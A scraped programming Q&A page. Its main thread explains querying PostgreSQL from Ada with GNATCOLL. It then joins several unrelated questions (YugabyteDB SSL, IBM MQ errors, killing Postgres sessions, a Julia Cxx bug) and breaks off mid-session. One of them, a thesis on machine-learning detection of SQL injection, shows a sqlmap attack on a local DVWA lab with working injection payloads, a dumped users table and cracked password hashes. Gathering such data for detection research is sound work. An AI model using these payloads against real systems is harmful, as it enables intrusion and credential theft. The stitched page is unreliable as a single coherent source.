I am trying to query a PostgreSQL database using GNAT CE 2019. I have two tables in my database, car and person:
mydb1-# \dt
List of relations
Schema | Name | Type | Owner
--------+--------+-------+----------
public | car | table | postgres
public | person | table | postgres
(2 rows)
I would like to perfom a simple Select statement, when I perform this using psql in my terminal, this is what's returned:
mydb1=# SELECT * FROM Person;
person_uid | first_name | last_name | gender | email | date_of_birth | country_of_birth | car_uid
--------------------------------------+------------+------------+--------+------------------------------+---------------+------------------+--------------------------------------
75f5e55d-12b2-463e-93ff-1c921e44c3e1 | Audrie | Vasyukov | Female | avasyukovd6#domainmarket.com | 1988-11-24 | Guatemala |
9e3f7f90-6e9a-4f2d-ae4e-c852d819ed33 | Nefen | Philippard | Male | nphilippardd7#economist.com | 2006-11-08 | Russia |
ffad6113-2321-47c3-8e1d-b8bbe1f7ffa1 | Leonore | Garthland | Female | lgarthlandd8#furl.net | 1991-03-23 | Canada |
268c1977-a5cc-4794-9cdd-e0e4af7890b9 | Yank | Turfitt | Male | yturfittd9#exblog.jp | 1990-02-07 | China |
3c815fa3-74b9-493a-9466-f32010806b16 | Benn | Pawley | Male | bpawleyda#indiegogo.com | 2006-10-28 | Russia |
690fc9e9-309e-4d70-8dab-167653b99763 | Tod | Easen | Male | teasend4#php.net | 1990-08-24 | China | 5fa7490e-ba42-4a96-b806-097bbb16e30e
However, I would like to perform this from within GNAT CE 2019. This is how my main.adb file currently looks:
with GNATCOLL.SQL.Postgres; use GNATCOLL.SQL.Postgres;
with GNATCOLL.SQL.Exec; use GNATCOLL.SQL.Exec;
with GNATCOLL.VFS; use GNATCOLL.VFS;
with GNATCOLL.SQL.Inspect; use GNATCOLL.SQL.Inspect;
with GNATCOLL.SQL; use GNATCOLL.SQL;
procedure Main is
-- Datebase Description
--
DB_Descr : GNATCOLL.SQL.Exec.Database_Description;
-- Database Connection
--
DB : GNATCOLL.SQL.Exec.Database_Connection;
-- Used to Query the data
--
Q : SQL_Query;
begin
-- Database Description
--
DB_Descr := GNATCOLL.SQL.Postgres.Setup ("mydb1", "parallels", "localhost", "MyPassword", 5432);
-- Database Connection
--
DB := DB_Descr.Build_Connection;
-- Query the data
--
Q := SQL_Select
(Fields => Person.first_name,
From => Person);
Free (DB); -- for all connections you have opened
Free (DB_Descr);
end Main;
When attempting to make a connection to the database, the process terminates successfully.
I'm unsure of the syntax that should be used for the Select statement. If anyone would be able to tell me how to perform a simple SELECT * FROM Person; statement from within GNAT CE 2019, it would be greatly appreciated.
Thank you,
Lloyd
Added 13/05/20
parallels#localhost gnatcoll_db2ada]$ ls
dborm.py gnatcoll-db2ada-main-generate.adb
dbschema.txt gnatcoll_postgres2ada.adb
gnatcoll_all2ada.adb gnatcoll_postgres2ada.gpr
gnatcoll_all2ada.gpr gnatcoll_sqlite2ada.adb
gnatcoll_db2ada.adb gnatcoll_sqlite2ada.gpr
gnatcoll-db2ada.ads Makefile
gnatcoll_db2ada.gpr makefile.setup
[parallels#localhost gnatcoll_db2ada]$ gnatcoll_postgres2ada -dbmodel dschema.txt/home/parallels/Desktop/dschema.txt
bash: gnatcoll_postgres2ada: command not found...
[parallels#localhost gnatcoll_db2ada]$
Added 15/05/20
prbuild -d -P/home/parallels/Documents/Ada Projects/TEST/default.gpr -XGNATCOLL_OS=unix -XBUILD=PROD -XGNATCOLL_HASPQPREPARE=yes -XGPR_BUILD=static -XLIBRARY_TYPE=static -XXMLADA_BUILD=static -XGNATCOLL_CORE_BUILD=static -XGNATCOLL_BUILD=static /home/parallels/Documents/Ada Projects/TEST/src/main.adb
Compile
[Ada] main.adb
Bind
[gprbind] main.bexch
[Ada] main.ali
Link
[link] main.adb
/home/parallels/opt/GNAT/2019/bin/../libexec/gcc/x86_64-pc-linux-gnu/8.3.1/ld: cannot find -lpq
collect2: error: ld returned 1 exit status
gprbuild: link of main.adb failed
gprbuild: failed command was: /home/parallels/opt/GNAT/2019/bin/gcc main.o b__main.o /home/parallels/Documents/Ada Projects/TEST/obj/database_names.o /home/parallels/Documents/Ada Projects/TEST/obj/database.o /home/parallels/gnatcoll-db/postgres/lib/static/libgnatcoll_postgres.a /home/parallels/gnatcoll-db/sql/lib/static/libgnatcoll_sql.a /home/parallels/opt/GNAT/2019/lib/gnatcoll.static/libgnatcoll.a /home/parallels/opt/GNAT/2019/lib/gpr/static/gpr/libgpr.a /home/parallels/opt/GNAT/2019/lib/xmla
da/xmlada_schema.static/libxmlada_schema.a /home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_dom.static/libxmlada_dom.a /home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_sax.static/libxmlada_sax.a /home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_input.static/libxmlada_input_sources.a /home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_unicode.static/libxmlada_unicode.a -lpq -L/home/parallels/Documents/Ada Projects/TEST/obj/ -L/home/parallels/Documents/Ada Projects/TEST/obj/ -L/home/parallels/gnatcoll-db/p
ostgres/lib/static/ -L/home/parallels/opt/GNAT/2019/lib/gnatcoll.static/ -L/home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_dom.static/ -L/home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_sax.static/ -L/home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_unicode.static/ -L/home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_input.static/ -L/home/parallels/opt/GNAT/2019/lib/xmlada/xmlada_schema.static/ -L/home/parallels/opt/GNAT/2019/lib/gpr/static/gpr/ -L/home/parallels/gnatcoll-db/sql/lib/static/ -L/home/par
allels/opt/GNAT/2019/lib/gcc/x86_64-pc-linux-gnu/8.3.1/adalib/ -static-libgcc /home/parallels/opt/GNAT/2019/lib/gcc/x86_64-pc-linux-gnu/8.3.1/adalib/libgnarl.a /home/parallels/opt/GNAT/2019/lib/gcc/x86_64-pc-linux-gnu/8.3.1/adalib/libgnat.a -lrt -lpthread -ldl -Wl,-rpath-link,/home/parallels/opt/GNAT/2019/lib/gcc/x86_64-pc-linux-gnu/8.3.1//adalib -Wl,-z,origin,-rpath,$ORIGIN/:$ORIGIN/../../../..//gnatcoll-db/postgres/lib/static:$ORIGIN/../../../..//opt/GNAT/2019/lib/gnatcoll.static:$ORIGIN/../../
../..//opt/GNAT/2019/lib/xmlada/xmlada_dom.static:$ORIGIN/../../../..//opt/GNAT/2019/lib/xmlada/xmlada_sax.static:$ORIGIN/../../../..//opt/GNAT/2019/lib/xmlada/xmlada_unicode.static:$ORIGIN/../../../..//opt/GNAT/2019/lib/xmlada/xmlada_input.static:$ORIGIN/../../../..//opt/GNAT/2019/lib/xmlada/xmlada_schema.static:$ORIGIN/../../../..//opt/GNAT/2019/lib/gpr/static/gpr:$ORIGIN/../../../..//gnatcoll-db/sql/lib/static:$ORIGIN/../../../..//opt/GNAT/2019/lib/gcc/x86_64-pc-linux-gnu/8.3.1/adalib -o main
[2020-05-15 14:56:50] process exited with status 4, 100% (30/30), elapsed time: 02.34s
Added 17/05/20
[SQL.ERROR] FATAL: Ident authentication failed for user "postgres"
_SQL.ERROR_ FATAL: Ident authentication failed for user "postgres"
_SQL.ERROR_ params="dbname='mydb1' user='postgres' host='localhost' sslmode=allow" ()
[SQL.ERROR] Failed to execute SELECT persons.person_uid, persons.first_name, persons.last_name, persons.gender, persons.email, persons.date_of_birth, persons.country_of_birth FROM persons error=No connection to database
FAILED
[2020-05-17 19:30:04] process terminated successfully, elapsed time: 00.19s
Added 29/05/20
home/parallels/Documents/Ada Projects/Connect to a DB/obj/main
[SQL.ERROR] select failed: SELECT persons.person_uid, persons.first_name, persons.last_name, persons.gender, persons.email, persons.date_of_birth, persons.country_of_birth FROM persons PGRES_FATAL_ERROR ERROR: relation "persons" does not exist
_SQL.ERROR_ LINE 1: ...persons.date_of_birth, persons.country_of_birth FROM persons
_SQL.ERROR_ ^
FAILED
[2020-05-29 22:40:11] process terminated successfully, elapsed time: 00.19s
postgres=# select * from persons;
person_uid | first_name | last_name | gender | email | date_of_birth | country_of_birth
--------------------------------------+------------+------------+--------+------------------------------+---------------+------------------
afbf64be-e7d5-45a1-b8fb-1a9fd66e2765 | Audrie | Vasyukov | Female | avasyukovd6#domainmarket.com | 1988-11-24 | Guatemala
ffda7264-1e54-428b-ae68-9ddb7b97702a | Nefen | Philippard | Male | nphilippardd7#economist.com | 2006-11-08 | Russia
169d5fb9-8d40-451e-8b02-cd1c3639fbed | Leonore | Garthland | Female | lgarthlandd8#furl.net | 1991-03-23 | Canada
e34f4f21-524c-4134-81d6-7fd1fd9a7537 | Yank | Turfitt | Male | yturfittd9#exblog.jp | 1990-02-07 | China
57336d0e-34f2-4166-a100-7b468e96a521 | Benn | Pawley | Male | bpawleyda#indiegogo.com | 2006-10-28 | Russia
b54a8411-3674-4432-b896-aaf35a10919b | Tod | Easen | Male | teasend4#php.net | 1990-08-24 | China
(6 rows)
The user manual states that you must first generate Ada data types that represent the entities (tables, fields, etc.) of the database with which you interact in order to use functions like SQL_Select. This can be done using the gnatcoll_db2ada utility (see here); either by some sort of reflection on the database or by providing a hand written schema (example in the user manual). Here are my own steps for creating an example.
Install dependencies:
$ sudo apt-get install postgresql libpq-dev
Create a database user (here: deedee):
$ sudo -u postgres bash
postgres#debian: $ createuser --pwprompt deedee
Clone gnatcoll-db:
$ git clone https://github.com/AdaCore/gnatcoll-db.git
Build and install gnatcoll-sql:
gnatcoll-db/sql $ make setup
gnatcoll-db/sql $ make
gnatcoll-db/sql $ sudo bash -c "PATH=$PATH:/opt/GNAT/2019/bin make install"
Build and install gnatcoll-postgress:
gnatcoll-db/postgress $ make setup
gnatcoll-db/postgress $ make
gnatcoll-db/postgress $ sudo bash -c "PATH=$PATH:/opt/GNAT/2019/bin make install"
Build and install gnatcoll_db2ada:
gnatcoll-db/gnatcoll_db2ada $ make setup DB_BACKEND=postgres
gnatcoll-db/gnatcoll_db2ada $ make
gnatcoll-db/gnatcoll_db2ada $ sudo bash -c "PATH=$PATH:/opt/GNAT/2019/bin make install"
The utility will be installed next to all other GNAT programs:
$ which gnatcoll_postgres2ada
/opt/GNAT/2019/bin/gnatcoll_postgres2ada
To use the utility, I first created a small database using the data you provided. I recreated the table persons using the commands:
$ sudo -u postgres bash
postgres#debian: $ createdb mydb1
postgres#debian: $ psql mydb1 < persons.sql
with
persons.sql
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
CREATE TYPE gender AS ENUM ('Male', 'Female');
CREATE TABLE persons (
person_uid uuid DEFAULT uuid_generate_v4 () PRIMARY KEY,
first_name VARCHAR (20) NOT NULL,
last_name VARCHAR (20) NOT NULL,
gender gender NOT NULL,
email VARCHAR (50) NOT NULL,
date_of_birth DATE NOT NULL,
country_of_birth VARCHAR (20) NOT NULL
);
INSERT INTO persons (
first_name,
last_name,
gender,
email,
date_of_birth,
country_of_birth
)
VALUES
('Audrie' , 'Vasyukov' , 'Female', 'avasyukovd6#domainmarket.com', '1988-11-24', 'Guatemala'),
('Nefen' , 'Philippard', 'Male' , 'nphilippardd7#economist.com' , '2006-11-08', 'Russia' ),
('Leonore', 'Garthland' , 'Female', 'lgarthlandd8#furl.net' , '1991-03-23', 'Canada' ),
('Yank' , 'Turfitt' , 'Male' , 'yturfittd9#exblog.jp' , '1990-02-07', 'China' ),
('Benn' , 'Pawley' , 'Male' , 'bpawleyda#indiegogo.com' , '2006-10-28', 'Russia' ),
('Tod' , 'Easen' , 'Male' , 'teasend4#php.net' , '1990-08-24', 'China' );
GRANT SELECT ON persons TO deedee;
I then created a database schema (see user manual) and generated the Ada code:
$ gnatcoll_postgres2ada -dbmodel dschema.txt
$ ls
database.adb database.ads database_names.ads dschema.txt
with
dschema.txt
| TABLE | persons | || The contents of person |
| person_uid | TEXT | PK || Auto-generated id |
| first_name | TEXT | NOT NULL || First name |
| last_name | TEXT | NOT NULL || Last name |
| gender | TEXT | NOT NULL || Gender |
| email | TEXT | NOT NULL || E-mail address |
| date_of_birth | DATE | NOT NULL || Date of birth |
| country_of_birth | TEXT | NOT NULL || Country of birth |
I finally added a trace configuration file (based on the example in the GNATcoll user manual), adapted your example code and made it work with my own table:
.gnatdebug (write trace info to standard error; indicated by >&2)
>&2
SQL.yes
SQL.SELECT=yes
SQL.LITE=yes
default.gpr
with "gnatcoll_postgres.gpr";
project Default is
for Source_Dirs use ("src");
for Object_Dir use "obj";
for Main use ("main.adb");
end Default;
main.adb
with Ada.Text_IO; use Ada.Text_IO;
with GNATCOLL.Traces; use GNATCOLL.Traces;
with GNATCOLL.SQL.Postgres; use GNATCOLL.SQL.Postgres;
with GNATCOLL.SQL.Exec; use GNATCOLL.SQL.Exec;
with GNATCOLL.VFS; use GNATCOLL.VFS;
with GNATCOLL.SQL.Inspect; use GNATCOLL.SQL.Inspect;
with GNATCOLL.SQL; use GNATCOLL.SQL;
with Database;
procedure Main is
-- Datebase Description
DB_Descr : GNATCOLL.SQL.Exec.Database_Description;
-- Database Connection
DB : GNATCOLL.SQL.Exec.Database_Connection;
-- Used to Query the data
Q : SQL_Query;
begin
-- Enable tracing, so we can see if something goes wrong.
GNATCOLL.Traces.Parse_Config_File (".gnatdebug");
-- Database description.
DB_Descr := GNATCOLL.SQL.Postgres.Setup
(Database => "mydb1",
User => "deedee",
Host => "localhost",
Password => "xxxx");
-- Database connection.
DB := DB_Descr.Build_Connection;
-- Define the query.
Q := SQL_Select
(Fields =>
Database.Persons.Person_Uid & -- 0
Database.Persons.First_Name & -- 1
Database.Persons.Last_Name & -- 2
Database.Persons.Gender & -- 3
Database.Persons.Email & -- 4
Database.Persons.Date_Of_Birth & -- 5
Database.Persons.Country_Of_Birth, -- 6
From => Database.Persons);
declare
R : Forward_Cursor;
begin
-- Perform the actual query, show results if OK.
R.Fetch (DB, Q);
if Success (DB) then
while Has_Row (R) loop
Put_Line ("UUID . . : " & Value (R, 0));
Put_Line ("Name . . : " & Value (R, 1) & " " & Value (R, 2));
Put_Line ("Gender . : " & Value (R, 3));
Put_Line ("E-Mail . : " & Value (R, 4));
Put_Line ("Birth. . : " & Value (R, 5) & ", " & Value (R, 6));
New_Line;
Next (R);
end loop;
else
Put_Line ("FAILED");
end if;
end;
Free (DB); -- for all connections you have opened
Free (DB_Descr);
GNATCOLL.Traces.Finalize;
end Main;
build & output
$ gprbuild -P default.gpr
[...]
$ ./obj/main
[SQL.SELECT] SELECT persons.person_uid, persons.first_name, persons.last_name, persons.gender, persons.email, persons.date_of_birth, persons.country_of_birth FROM persons (6 tuples) PGRES_TUPLES_OK
UUID . . : 564b6d18-5f99-4d6b-8098-d5ce79910107
Name . . : Audrie Vasyukov
Gender . : Female
E-Mail . : avasyukovd6#domainmarket.com
Birth. . : 1988-11-24, Guatemala
UUID . . : a4c2743a-40ad-409e-9af7-f21e7b91da05
Name . . : Nefen Philippard
Gender . : Male
E-Mail . : nphilippardd7#economist.com
Birth. . : 2006-11-08, Russia
UUID . . : 04aa6123-b317-4be3-a1af-8a01d43ee60f
Name . . : Leonore Garthland
Gender . : Female
E-Mail . : lgarthlandd8#furl.net
Birth. . : 1991-03-23, Canada
UUID . . : e43ec5ef-3cd2-4d3c-8f3e-106b7c2f2ccf
Name . . : Yank Turfitt
Gender . : Male
E-Mail . : yturfittd9#exblog.jp
Birth. . : 1990-02-07, China
UUID . . : 3e1d6431-62d5-4d4b-8333-a92a66575f9f
Name . . : Benn Pawley
Gender . : Male
E-Mail . : bpawleyda#indiegogo.com
Birth. . : 2006-10-28, Russia
UUID . . : ae60db02-298a-43d3-81a2-59fcf610c045
Name . . : Tod Easen
Gender . : Male
E-Mail . : teasend4#php.net
Birth. . : 1990-08-24, China
APPENDIX
I used the default (non-customized) host-based authentication (hba) file.
pg_hba.conf
# Database administrative login by Unix domain socket
local all postgres peer
# TYPE DATABASE USER ADDRESS METHOD
# "local" is for Unix domain socket connections only
local all all peer
# IPv4 local connections:
host all all 127.0.0.1/32 md5
# IPv6 local connections:
host all all ::1/128 md5
# Allow replication connections from localhost, by a user with the
# replication privilege.
local replication all peer
host replication all 127.0.0.1/32 md5
host replication all ::1/128 md5
Related
[Question posted by a user on YugabyteDB Community Slack]
I'm running the yb-cluster of 3 logical node on 1 VM. I am trying with SSL Mode enabled cluster. Below is the property file i am using to start the cluster with SSL Mode ON:
./bin/yugabyted start --config /data/ybd1/config_1.config
./bin/yugabyted start --base_dir=/data/ybd2 --listen=127.0.0.2 --join=192.168.56.12
./bin/yugabyted start --base_dir=/data/ybd3 --listen=127.0.0.3 --join=192.168.56.12
my config file:
{
"base_dir": "/data/ybd1",
"listen": "192.168.56.12",
"certs_dir": "/root/192.168.56.12/",
"allow_insecure_connections": "false",
"use_node_to_node_encryption": "true"
"use_client_to_server_encryption": "true"
}
I am able to connect using:
bin/ysqlsh -h 127.0.0.3 -U yugabyte -d yugabyte
ysqlsh (11.2-YB-2.11.1.0-b0)
Type "help" for help.
yugabyte=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------------+----------+----------+---------+-------------+-----------------------
postgres | postgres | UTF8 | C | en_US.UTF-8 |
system_platform | postgres | UTF8 | C | en_US.UTF-8 |
template0 | postgres | UTF8 | C | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | C | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
yugabyte | postgres | UTF8 | C | en_US.UTF-8 |
But when I am trying to connect to my yb-cluster from psql client. I am getting below errors.
psql -h 192.168.56.12 -p 5433
psql: error: connection to server at "192.168.56.12", port 5433 failed: FATAL: Timed out: OpenTable RPC (request call id 2) to 192.168.56.12:9100 timed out after 120.000s
postgres#acff2570dfbc:~$
And in yb t-server logs I am getting below errors:
I0228 05:00:21.248733 21631 async_initializer.cc:90] Successfully built ybclient
2022-02-28 05:02:21.248 UTC [21624] FATAL: Timed out: OpenTable RPC (request call id 2) to 192.168.56.12:9100 timed out after 120.000s
I0228 05:02:21.251086 21627 poller.cc:66] Poll stopped: Service unavailable (yb/rpc/scheduler.cc:80): Scheduler is shutting down (system error 108)
2022-02-28 05:54:20.987 UTC [23729] LOG: invalid length of startup packet
Any HELP in this regard is really apricated.
You’re setting your config wrong when using yugabyted tool. You want to use --master_flags and --tserver_flags like explained in the docs: https://docs.yugabyte.com/latest/reference/configuration/yugabyted/#flags.
An example:
bin/yugabyted start --base_dir=/data/ybd1 --listen=192.168.56.12 --tserver_flags=use_client_to_server_encryption=true,ysql_enable_auth=true,use_cassandra_authentication=true,certs_for_client_dir=/root/192.168.56.12/
Sending the parameters this way should work on your cluster.
I'm writing thesis for my university.
My theme of thesis is "SQL injection detection by using Machine Learning"
To use Machine Learning, first of all, I need thousands of learning data of SQL injection attack.
For that, I proceeded below process.
Install Virtual Box
Install Kali Linux on Virtual Box
Install DVWA(Damn Vulnerable Web Application) on Kali Linux
Attack to DVWA by using sqlmap
On No.4, I succeeded in attacking to DVWA, but I don't know how to get bunch of attacking data.
What I want to get is bunch of actual attacking SQL.
1. launched server.
┌──(root💀kali)-[/home/kali]
└─# service apache2 start
┌──(root💀kali)-[/home/kali]
└─# service mysql start
2. Got cookie and target URL
document.cookie
"security=low; PHPSESSID=cookieinfo"
3 Attack
┌──(root💀kali)-[/usr/bin]
└─# sqlmap -o -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=[cookieinfo];security=low" --dump
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting # 10:08:01 /2020-12-01/
[10:08:01] [INFO] resuming back-end DBMS 'mysql'
[10:08:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1995 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(1995=1995,1))),0x71626a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qoRd&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9863 FROM (SELECT(SLEEP(5)))PIFI)-- JYNK&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7162707a71,0x744e45686f7a55414a6744636c497367666d62567679764247415656677779516a76584474645269,0x71626a7871)#&Submit=Submit
---
[10:08:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[10:08:01] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:08:01] [INFO] fetching current database
[10:08:01] [INFO] fetching tables for database: 'dvwa'
[10:08:01] [INFO] fetching columns for table 'users' in database 'dvwa'
[10:08:01] [INFO] fetching entries for table 'users' in database 'dvwa'
[10:08:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:08:07] [INFO] writing hashes to a temporary file '/tmp/sqlmaphbMPEH3181/sqlmaphashes-7QbpSl.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:08:12] [INFO] using hash method 'md5_generic_passwd'
[10:08:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[10:08:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[10:08:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[10:08:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | /DVWA-master/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2020-11-29 01:54:52 | 0 |
| 2 | /DVWA-master/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2020-11-29 01:54:52 | 0 |
| 3 | /DVWA-master/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2020-11-29 01:54:52 | 0 |
| 4 | /DVWA-master/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2020-11-29 01:54:52 | 0 |
| 5 | /DVWA-master/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2020-11-29 01:54:52 | 0 |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[10:08:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/users.csv'
[10:08:12] [INFO] fetching columns for table 'guestbook' in database 'dvwa'
[10:08:12] [INFO] fetching entries for table 'guestbook' in database 'dvwa'
Database: dvwa
Table: guestbook
[1 entry]
+------------+------+-------------------------+
| comment_id | name | comment |
+------------+------+-------------------------+
| 1 | test | This is a test comment. |
+------------+------+-------------------------+
[10:08:13] [INFO] table 'dvwa.guestbook' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/guestbook.csv'
[10:08:13] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
[*] ending # 10:08:13 /2020-12-01/
What I want to get is bunch of actual attacking SQL.
Please anyone help me. Thank you.
I am getting the below error while connecting to IBM MQ using library pymqi.
Its a clustered MQ channel
Traceback (most recent call last):
File "postToQueue.py", line 432, in <module>
qmgr = pymqi.connect(queue_manager, channel, conn_info)
File "C:\Python\lib\site-packages\pymqi\__init__.py", line 2608, in connect
qmgr.connect_tcp_client(queue_manager or '', CD(), channel, conn_info, user, password)
File "C:\Python\lib\site-packages\pymqi\__init__.py", line 1441, in connect_tcp_client
self.connect_with_options(name, cd, user=user, password=password)
File "C:\Python\lib\site-packages\pymqi\__init__.py", line 1423, in connect_with_options
raise MQMIError(rv[1], rv[2])
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2012: FAILED: MQRC_ENVIRONMENT_ERROR'
Please see my code below.
queue_manager = 'quename here'
channel = 'channel name here'
host ='host-name here'
port = '2333'
queue_name = 'queue name here'
message = 'my message here'
conn_info = '%s(%s)' % (host, port)
print(conn_info)
qmgr = pymqi.connect(queue_manager, channel, conn_info)
queue = pymqi.Queue(qmgr, queue_name)
queue.put(message)
print("message sent")
queue.close()
qmgr.disconnect()
Getting error at the line below
qmgr = pymqi.connect(queue_manager, channel, conn_info)
Added the IBM client to scripts folder as well , using Windows 10 , Python 3.8.1 and IBM Client 9.1 windows client installation image, Below is the header
-----------------------------------------------------------------------------+
| |
| WebSphere MQ First Failure Symptom Report |
| ========================================= |
| |
| Date/Time :- Tue January 28 2020 16:27:51 Eastern Standard Time |
| UTC Time :- 1580246871.853000 |
| UTC Time Offset :- -300 (Eastern Standard Time) |
| Host Name :- CA-LDLD0SQ2 |
| Operating System :- Windows 10 Enterprise x64 Edition, Build 17763 |
| PIDS :- 5724H7251 |
| LVLS :- 8.0.0.11 |
| Product Long Name :- IBM MQ for Windows (x64 platform) |
| Vendor :- IBM |
| O/S Registered :- 0 |
| Data Path :- C:\Python\Scripts\IBM |
| Installation Path :- C:\Python |
| Installation Name :- MQNI08000011 (126) |
| License Type :- Unknown |
| Probe Id :- XC207013 |
| Application Name :- MQM |
| Component :- xxxInitialize |
| SCCS Info :- F:\build\slot1\p800_P\src\lib\cs\amqxeida.c, |
| Line Number :- 5085 |
| Build Date :- Dec 12 2018 |
| Build Level :- p800-011-181212.1 |
| Build Type :- IKAP - (Production) |
| UserID :- alekhya.machiraju |
| Process Name :- C:\Python\python.exe |
| Arguments :- |
| Addressing mode :- 32-bit |
| Process :- 00010908 |
| Thread :- 00000001 |
| Session :- 00000001 |
| UserApp :- TRUE |
| Last HQC :- 0.0.0-0 |
| Last HSHMEMB :- 0.0.0-0 |
| Last ObjectName :- |
| Major Errorcode :- xecF_E_UNEXPECTED_SYSTEM_RC |
| Minor Errorcode :- OK |
| Probe Type :- INCORROUT |
| Probe Severity :- 2 |
| Probe Description :- AMQ6090: MQM could not display the text for error |
| 536895781. |
| FDCSequenceNumber :- 0 |
| Comment1 :- WinNT error 1082155270 from Open ccsid.tbl. |
| |
+-----------------------------------------------------------------------------+
This question already has answers here:
PostgreSQL: Drop PostgreSQL database through command line [closed]
(4 answers)
Closed 4 years ago.
Getting the following error when trying to drop a PostgreSQL DB say "test"
postgres=# DROP DATABASE test;
ERROR: database "test" is being accessed by other users
DETAIL: There is 1 other session using the database.
You can use pg_terminate_backend to kill open connections with a query:
PostgresVersion >=9.2
SELECT
pg_terminate_backend(pg_stat_activity.pid)
FROM pg_stat_activity
WHERE
pg_stat_activity.datname = 'test'
AND pid <> pg_backend_pid()
PostgresVersion <9.2
SELECT
pg_terminate_backend(pg_stat_activity.procpid)
FROM
pg_stat_activity
WHERE
pg_stat_activity.datname = 'test'
AND procpid <> pg_backend_pid();
where 'test' is your databasename
1) Run the following command and findout the pid
postgres=# select * from pg_stat_activity where datname='test';
datid | datname | pid | usesysid | usename | current_query | waiting | xact_start | query_start | backend_start | client_addr | client_port
-------+---------+---------+----------+----------+---------------+---------+------------+-------------------------------+-------------------------------+-------------+-------------
28091 | test | 8481 | 10 | postgres | | f | | 2008-11-12 09:12:50.277096+00 | 2008-11-12 09:11:10.328231+00 | 127.0.0.1 | 43152
2) kill -9 8481 (Here the pid is 8481)
3) Now run
postgres=# drop database test;
DROP DATABASE
On Debian 8 Linux, I use vim together with screen to send lines from vim to a julia session. Today, I tried https://github.com/Keno/Cxx.jl. I followed the instructions there (i.e. I compiled the latest version 0.5.0-dev+3609 of Julia). The following bug appeared when I tried example 1, I could pinpoint it to the following simple steps:
Create the following files (don't overwrite your own files):
printf "using Cxx\ncxx\"\"\"#include<iostream> \"\"\"\ncxx\"\"\"void testfunction(){std::cout<<\"worked\"<< std::endl;}\"\"\"\njulia_function() = #cxx testfunction()\n" > start
and printf "julia_function()\n" > freeze
Open terminal 1 (I use gnome-terminal) and write screen -S session and then start Julia with julia. It should look like
_
_ _ _(_)_ | A fresh approach to technical computing
(_) | (_) (_) | Documentation: http://docs.julialang.org
_ _ _| |_ __ _ | Type "?help" for help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 0.5.0-dev+3609 (2016-04-18 07:07 UTC)
_/ |\__'_|_|_|\__'_| | Commit a136a6e (0 days old master)
|__/ | x86_64-linux-gnu
julia>
Open terminal 2 and do
screen -S session -p 0 -X eval "readreg p start" "paste p" Terminal 1 should now look like
_
_ _ _(_)_ | A fresh approach to technical computing
(_) | (_) (_) | Documentation: http://docs.julialang.org
_ _ _| |_ __ _ | Type "?help" for help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 0.5.0-dev+3609 (2016-04-18 07:07 UTC)
_/ |\__'_|_|_|\__'_| | Commit a136a6e (0 days old master)
|__/ | x86_64-linux-gnu
julia> using Cxx
julia> cxx"""#include<iostream> """
true
